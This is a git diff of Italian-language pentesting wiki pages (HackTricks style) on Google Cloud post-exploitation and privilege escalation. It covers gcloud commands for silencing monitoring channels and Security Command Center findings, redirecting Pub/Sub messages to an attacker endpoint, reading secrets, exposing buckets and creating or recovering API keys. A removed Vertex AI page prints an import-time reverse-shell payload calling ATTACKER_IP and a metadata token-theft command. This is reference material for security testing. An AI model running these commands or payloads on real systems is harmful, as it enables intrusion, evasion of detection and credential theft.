<summary>Elimina canale di notifica</summary>
|
||||
```bash
|
||||
# Delete channel
|
||||
gcloud alpha monitoring channels delete <channel>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.update`
|
||||
|
||||
Aggiorna le etichette di un canale per interromperlo:
|
||||
Aggiorna le etichette di un canale per interromperne il funzionamento:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiorna le etichette del canale di notifica</summary>
|
||||
```bash
|
||||
# Delete or update labels, for example email channels have the email indicated here
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+76
-16
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
Per ulteriori informazioni su Pub/Sub, controlla la seguente pagina:
|
||||
Per maggiori informazioni su Pub/Sub consulta la seguente pagina:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,40 +12,68 @@ Per ulteriori informazioni su Pub/Sub, controlla la seguente pagina:
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
Pubblica un messaggio in un argomento, utile per **inviare dati inaspettati** e attivare funzionalità inaspettate o sfruttare vulnerabilità:
|
||||
Pubblica un messaggio in un topic, utile per **inviare dati imprevisti** e attivare funzionalità inaspettate o sfruttare vulnerabilità:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pubblica un messaggio nel topic</summary>
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
Utile per impedire a un abbonamento di ricevere messaggi, forse per evitare il rilevamento.
|
||||
Utile per impedire a una subscription di ricevere messaggi, magari per evitare il rilevamento.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Scollega la subscription dal topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
Utile per impedire a una sottoscrizione di ricevere messaggi, forse per evitare il rilevamento.\
|
||||
È possibile eliminare un argomento anche con le sottoscrizioni ad esso collegate.
|
||||
Utile per impedire a una subscription di ricevere messaggi, magari per evitare il rilevamento.\
|
||||
È possibile eliminare un topic anche se sono presenti subscription ad esso collegate.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
Usa questo permesso per aggiornare alcune impostazioni del topic per interromperlo, come `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
Concediti il permesso di eseguire uno qualsiasi degli attacchi precedenti.
|
||||
Concediti il permesso per eseguire uno qualsiasi degli attacchi precedenti.
|
||||
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
Ottieni tutti i messaggi in un server web:
|
||||
Recupera tutti i messaggi su un web server:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea una push subscription per ricevere i messaggi</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
Crea un abbonamento e usalo per **estrarre messaggi**:
|
||||
</details>
|
||||
|
||||
Crea una subscription e usala per **pull messages**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea una pull subscription e recupera i messaggi</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -54,26 +82,44 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
## This command will wait for a message to be posted
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**Eliminare un abbonamento** potrebbe essere utile per interrompere un sistema di elaborazione dei log o qualcosa di simile:
|
||||
**Elimina una subscription** potrebbe essere utile per interrompere un sistema di elaborazione dei log o qualcosa di simile:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina subscription</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
Usa questo permesso per aggiornare alcune impostazioni in modo che i messaggi siano memorizzati in un luogo accessibile (URL, tabella Big Query, Bucket) o semplicemente per interromperlo.
|
||||
Usa questa autorizzazione per aggiornare qualche impostazione in modo che i messaggi siano memorizzati in un posto a cui puoi accedere (URL, Big Query table, Bucket) o semplicemente per interromperne il funzionamento.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiorna endpoint della subscription</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Concediti i permessi necessari per eseguire uno qualsiasi degli attacchi precedentemente commentati.
|
||||
Assegnati i permessi necessari per eseguire uno qualsiasi degli attacchi commentati precedentemente.
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
Attacca uno schema a un argomento in modo che i messaggi non lo soddisfino e quindi l'argomento venga interrotto.\
|
||||
Se non ci sono schemi, potresti doverne creare uno.
|
||||
Attacca uno schema a un topic in modo che i messages non lo soddisfino e quindi il topic venga interrotto.\
|
||||
Se non ci sono schema potresti doverne creare uno.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea il file dello schema e allegalo al topic</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -98,23 +144,37 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
--schema=projects/<project-name>/schemas/<topic-id> \
|
||||
--message-encoding=json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
Questo potrebbe sembrare che eliminando uno schema sarai in grado di inviare messaggi che non soddisfano lo schema. Tuttavia, poiché lo schema verrà eliminato, nessun messaggio entrerà effettivamente all'interno dell'argomento. Quindi questo è **INUTILE**:
|
||||
Questo potrebbe sembrare che eliminando uno schema sarai in grado di inviare messaggi che non rispettano lo schema. Tuttavia, poiché lo schema sarà eliminato, nessun messaggio verrà effettivamente inserito nel topic. Quindi questo è **INUTILE**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elimina schema (inutile)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
Concediti i permessi necessari per eseguire uno qualsiasi degli attacchi precedentemente commentati.
|
||||
Assegnati le autorizzazioni necessarie per eseguire uno qualsiasi degli attacchi precedentemente menzionati.
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
Questo creerà uno snapshot di tutti i messaggi non ACK e li rimetterà nell'abbonamento. Non molto utile per un attaccante, ma ecco:
|
||||
Questo creerà uno snapshot di tutti i messaggi unACKed e li rimetterà nella subscription. Non molto utile per un attacker ma ecco:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea uno snapshot e fai seek su di esso</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
|
||||
--snapshot=YOUR_SNAPSHOT_NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+8
-2
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secretmanager
|
||||
|
||||
Per ulteriori informazioni su Secret Manager controlla:
|
||||
Per maggiori informazioni su Secret Manager consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,9 +12,15 @@ Per ulteriori informazioni su Secret Manager controlla:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Questo ti dà accesso per leggere i segreti dal secret manager e forse questo potrebbe aiutare a escalare i privilegi (a seconda delle informazioni memorizzate all'interno del segreto):
|
||||
Questo ti permette di leggere i secrets dal Secret Manager e potrebbe aiutare a scalare i privilegi (a seconda delle informazioni memorizzate all'interno del secret):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Accedi alla versione del secret</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+37
-7
@@ -4,7 +4,7 @@
|
||||
|
||||
## Sicurezza
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-security-enum.md
|
||||
@@ -12,37 +12,67 @@ Per ulteriori informazioni controlla:
|
||||
|
||||
### `securitycenter.muteconfigs.create`
|
||||
|
||||
Prevenire la generazione di risultati che potrebbero rilevare un attaccante creando un `muteconfig`:
|
||||
Impedire la generazione di finding che potrebbero rilevare un attaccante creando una `muteconfig`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea Muteconfig</summary>
|
||||
```bash
|
||||
# Create Muteconfig
|
||||
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.muteconfigs.update`
|
||||
|
||||
Impedire la generazione di risultati che potrebbero rilevare un attaccante aggiornando un `muteconfig`:
|
||||
Impedire la generazione di findings che potrebbero rilevare un attacker aggiornando un `muteconfig`:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiorna Muteconfig</summary>
|
||||
```bash
|
||||
# Update Muteconfig
|
||||
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.bulkMuteUpdate`
|
||||
|
||||
Disattiva i risultati basati su un filtro:
|
||||
Silenziare i findings in base a un filtro:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Silenziare in blocco basato sul filtro</summary>
|
||||
```bash
|
||||
# Mute based on a filter
|
||||
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
Un risultato silenziato non apparirà nel dashboard e nei report di SCC.
|
||||
</details>
|
||||
|
||||
Un finding silenziato non apparirà nella dashboard di SCC e nei report.
|
||||
|
||||
### `securitycenter.findings.setMute`
|
||||
|
||||
Silenziate i risultati in base alla fonte, ai risultati...
|
||||
Silenzia i findings basati su source, findings...
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Imposta finding come silenziato</summary>
|
||||
```bash
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.update`
|
||||
|
||||
Aggiorna un finding per indicare informazioni errate:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Aggiorna lo stato del finding</summary>
|
||||
```bash
|
||||
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+11
-5
@@ -4,15 +4,19 @@
|
||||
|
||||
## Cloud Storage
|
||||
|
||||
Per ulteriori informazioni su Cloud Storage, controlla questa pagina:
|
||||
Per maggiori informazioni su Cloud Storage consulta questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Dare Accesso Pubblico
|
||||
### Concedere accesso pubblico
|
||||
|
||||
È possibile dare accesso agli utenti esterni (che siano connessi a GCP o meno) al contenuto dei bucket. Tuttavia, per impostazione predefinita, l'opzione per esporre pubblicamente un bucket sarà disabilitata:
|
||||
È possibile concedere a utenti esterni (autenticati in GCP o no) l'accesso al contenuto dei bucket. Tuttavia, per impostazione predefinita l'opzione per esporre pubblicamente un bucket sarà disabilitata:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Rendere bucket/objects pubblici</summary>
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
Se provi a dare **ACL a un bucket con ACL disabilitati** troverai questo errore: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
</details>
|
||||
|
||||
Per accedere ai bucket aperti tramite browser, accedi all'URL `https://<bucket_name>.storage.googleapis.com/` o `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
Se provi ad assegnare **ACLs a un bucket con ACLs disabilitate** troverai questo errore: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
Per accedere ai bucket aperti tramite browser, visita l'URL `https://<bucket_name>.storage.googleapis.com/` o `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
-113
@@ -1,113 +0,0 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scenario
|
||||
|
||||
- Vertex AI Model Garden consente il deployment diretto di molti modelli Hugging Face (HF).
|
||||
- Gli identificatori dei modelli HF sono Author/ModelName. Se un autore/org su HF viene eliminato, lo stesso nome autore può essere ri-registrato da chiunque. Gli attacker possono allora creare un repo con lo stesso ModelName al percorso legacy.
|
||||
- Pipelines, SDKs, o cloud catalogs che effettuano fetch solo per nome (no pinning/integrity) scaricheranno il repo controllato dall'attacker. Quando il model viene deployato, il loader code di quel repo può eseguire all'interno del container dell'endpoint Vertex AI, ottenendo RCE con i permessi dell'endpoint.
|
||||
|
||||
Two common takeover cases on HF:
|
||||
- Ownership deletion: il vecchio path restituisce 404 fino a quando qualcuno non ri-registrerà l'autore e pubblicherà lo stesso ModelName.
|
||||
- Ownership transfer: HF emette 307 redirect dal vecchio Author/ModelName al nuovo owner. Se il vecchio autore viene successivamente cancellato e ri-registrato da un attacker, la catena di redirect viene interrotta e il repo dell'attacker risponde al percorso legacy.
|
||||
|
||||
## Identifying Reusable Namespaces (HF)
|
||||
|
||||
- Old author deleted: la pagina dell'autore restituisce 404; il model path può restituire 404 fino al takeover.
|
||||
- Transferred models: il vecchio model path emette 307 verso il nuovo owner mentre il vecchio autore esiste. Se il vecchio autore viene successivamente cancellato e ri-registrato, il percorso legacy risolverà verso il repo dell'attacker.
|
||||
|
||||
Quick checks with curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Flusso di attacco end-to-end contro Vertex AI
|
||||
|
||||
1) Scoprire namespace di modelli riutilizzabili che Model Garden elenca come deployable:
|
||||
- Trovare modelli HF in Vertex AI Model Garden che mostrano ancora “verified deployable”.
|
||||
- Verificare su HF se l'autore originale è stato cancellato o se il modello è stato trasferito e il vecchio autore è stato poi rimosso.
|
||||
|
||||
2) Re-registrare l'autore cancellato su HF e ricreare lo stesso ModelName.
|
||||
|
||||
3) Pubblicare un repo malevolo. Includere codice che venga eseguito al load del modello. Esempi che comunemente vengono eseguiti durante il model load su HF:
|
||||
- Effetti collaterali in __init__.py del repo
|
||||
- Custom modeling_*.py o codice di processing referenziato da config/auto_map
|
||||
- Percorsi di codice che richiedono trust_remote_code=True nelle pipeline Transformers
|
||||
|
||||
4) Una deployment su Vertex AI del legacy Author/ModelName ora pullerà il repo dell'attaccante. Il loader si esegue all'interno del Vertex AI endpoint container.
|
||||
|
||||
5) Il payload stabilisce accesso dall'ambiente dell'endpoint (RCE) con i permessi dell'endpoint.
|
||||
|
||||
Esempio di frammento di payload eseguito su import (solo a scopo dimostrativo):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Note
|
||||
- I loader reali variano. Molte integrazioni Vertex AI HF clonano e importano moduli dal repo referenziati nella config del modello (es., auto_map), che possono innescare l'esecuzione di codice. Alcuni usi richiedono trust_remote_code=True.
|
||||
- L'endpoint tipicamente gira in un container dedicato con ambito limitato, ma è un valido punto d'appoggio iniziale per l'accesso ai dati e per movimenti laterali in GCP.
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
Once code is running inside the endpoint container, consider:
|
||||
- Enumerare le variabili d'ambiente e i metadati per credenziali/token
|
||||
- Accedere allo storage allegato o agli artifact del modello montati
|
||||
- Interagire con le Google APIs tramite l'identità del service account (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Persistenza nell'artifact del modello se la piattaforma rifà il pull del repo
|
||||
|
||||
Enumerare i metadati dell'istanza se accessibili (dipende dal container):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Linee guida difensive per gli utenti di Vertex AI
|
||||
|
||||
- Fissare i modelli per commit negli HF loaders per prevenire la sostituzione silenziosa:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Replicare i modelli HF verificati in uno store/registry di artifact interno attendibile e distribuirli da lì.
|
||||
- Scansionare continuamente codebase e config per Author/ModelName hard-coded che sono stati cancellati/trasferiti; aggiornare ai nuovi namespace o fissare tramite commit.
|
||||
- In Model Garden, verificare la provenienza del modello e l'esistenza dell'autore prima del deployment.
|
||||
|
||||
## Euristiche di riconoscimento (HTTP)
|
||||
|
||||
- Autore cancellato: pagina autore 404; percorso legacy del modello 404 fino al subentro.
|
||||
- Modello trasferito: percorso legacy 307 verso il nuovo autore mentre il vecchio autore esiste; se il vecchio autore viene poi cancellato e ri-registrato, il percorso legacy può servire contenuti dell'attaccante.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Riferimenti incrociati
|
||||
|
||||
- Vedi la metodologia più ampia e le note sulla supply-chain:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Riutilizzo del namespace del modello: un attacco alla supply-chain AI che sfrutta la fiducia nel nome del modello (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Rinominare o trasferire un repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,17 +4,17 @@
|
||||
|
||||
## Apikeys
|
||||
|
||||
I seguenti permessi sono utili per creare e rubare chiavi API, non dimenticare questo dai documenti: _Una chiave API è una semplice stringa crittografata che **identifica un'applicazione senza alcun principale**. Sono utili per accedere a **dati pubblici in modo anonimo**, e vengono utilizzate per **associare** le richieste API al tuo progetto per quota e **fatturazione**._
|
||||
Le seguenti autorizzazioni sono utili per creare e rubare API key, nota dai documenti: _Un API key è una semplice stringa cifrata che **identifica un'applicazione senza alcun principal**. Sono utili per accedere **anonimamente a dati pubblici**, e vengono usate per **associare** le richieste API al tuo progetto per quota e **fatturazione**._
|
||||
|
||||
Pertanto, con una chiave API puoi far pagare quella azienda per il tuo utilizzo dell'API, ma non sarai in grado di elevare i privilegi.
|
||||
Pertanto, con un API key puoi far pagare a quella azienda il tuo utilizzo dell'API, ma non potrai elevare i privilegi.
|
||||
|
||||
Per ulteriori informazioni sulle chiavi API controlla:
|
||||
Per maggiori informazioni su API Keys consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Per altri modi per creare chiavi API controlla:
|
||||
Per altri modi per creare API keys consulta:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
@@ -22,48 +22,63 @@ gcp-serviceusage-privesc.md
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Poiché potresti non sapere quali API sono abilitate nel progetto o le restrizioni applicate alla chiave API che hai trovato, sarebbe interessante eseguire lo strumento [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) e controllare **cosa puoi accedere con la chiave API.**
|
||||
Poiché potrebbe non essere noto quali API siano abilitate nel progetto o quali restrizioni siano applicate all'API key che hai trovato, è utile eseguire lo strumento [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) e verificare **cosa puoi accedere con l'API key.**
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
Questo permesso consente di **creare una chiave API**:
|
||||
Questa autorizzazione permette di **creare un API key**:
|
||||
|
||||
<details>
|
||||
<summary>Create an API key using gcloud</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]==\"",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
Puoi trovare uno script per automatizzare la [**creazione, sfruttamento e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
</details>
|
||||
|
||||
Puoi trovare uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che per impostazione predefinita gli utenti hanno permessi per creare nuovi progetti e viene loro assegnato il ruolo di Proprietario sul nuovo progetto. Quindi un utente potrebbe c**reare un progetto e una chiave API all'interno di questo progetto**.
|
||||
> Nota che, per impostazione predefinita, gli utenti hanno i permessi per creare nuovi progetti e viene loro concesso il ruolo Owner sul nuovo progetto. Quindi un utente potrebbe **creare un progetto e una API key all'interno di questo progetto**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
Questi permessi consentono di **elencare e ottenere tutte le apiKeys e ottenere la Chiave**:
|
||||
Questi permessi permettono di **elencare e recuperare tutte le apiKeys e ottenere la Key**:
|
||||
|
||||
<details>
|
||||
<summary>List and retrieve all API keys</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
Puoi trovare uno script per automatizzare la [**creazione, sfruttamento e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
</details>
|
||||
|
||||
Puoi trovare uno script per automatizzare la [**creazione, exploit e pulizia di un ambiente vulnerabile qui**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
Queste autorizzazioni ti consentono di **elencare e rigenerare le chiavi API eliminate**. La **chiave API viene fornita nell'output** dopo che è stata eseguita l'**undelete**:
|
||||
Questi permessi ti permettono di **elencare e rigenerare le chiavi API cancellate**. La **chiave API viene restituita nell'output** dopo che l'**undelete** è stato eseguito:
|
||||
|
||||
<details>
|
||||
<summary>Elencare e ripristinare (undelete) le chiavi API</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
### Crea un'applicazione OAuth interna per phishing di altri lavoratori
|
||||
</details>
|
||||
|
||||
Controlla la seguente pagina per imparare come fare, anche se questa azione appartiene al servizio **`clientauthconfig`** [secondo la documentazione](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
### Crea un'applicazione OAuth interna per phish altri dipendenti
|
||||
|
||||
Consulta la pagina seguente per imparare come farlo, anche se questa azione appartiene al servizio **`clientauthconfig`** [secondo la documentazione](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
|
||||
+45
-20
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
Per ulteriori informazioni su App Engine controlla:
|
||||
Per maggiori informazioni su App Engine consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,26 +12,34 @@ Per ulteriori informazioni su App Engine controlla:
|
||||
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
Queste sono le autorizzazioni necessarie per **deploy un'App usando `gcloud` cli**. Forse le autorizzazioni **`get`** e **`list`** potrebbero essere **evitate**.
|
||||
Questi sono i permessi necessari per **distribuire un'App usando la CLI `gcloud`**. Forse i permessi **`get`** e **`list`** potrebbero essere **evitati**.
|
||||
|
||||
Puoi trovare esempi di codice python in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
Puoi trovare esempi di codice Python in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
Per impostazione predefinita, il nome del servizio App sarà **`default`**, e può esserci solo 1 istanza con lo stesso nome.\
|
||||
Per cambiarlo e creare una seconda App, in **`app.yaml`**, cambia il valore della chiave radice in qualcosa come **`service: my-second-app`**
|
||||
Per default, il nome del servizio App sarà **`default`**, e può esistere solo 1 istanza con lo stesso nome.\
|
||||
Per cambiarlo e creare una seconda App, in **`app.yaml`**, modifica il valore della chiave radice con qualcosa come **`service: my-second-app`**
|
||||
|
||||
<details>
|
||||
<summary>Distribuire un'applicazione App Engine</summary>
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
Aspetta almeno 10-15 minuti, se non funziona chiama **deploy another of times** e aspetta alcuni minuti.
|
||||
</details>
|
||||
|
||||
Concedi almeno 10–15 minuti; se non funziona richiamo **deploy another of times** e attendi qualche minuto.
|
||||
|
||||
> [!NOTE]
|
||||
> È **possibile indicare il Service Account da utilizzare** ma per impostazione predefinita, viene utilizzato il SA predefinito di App Engine.
|
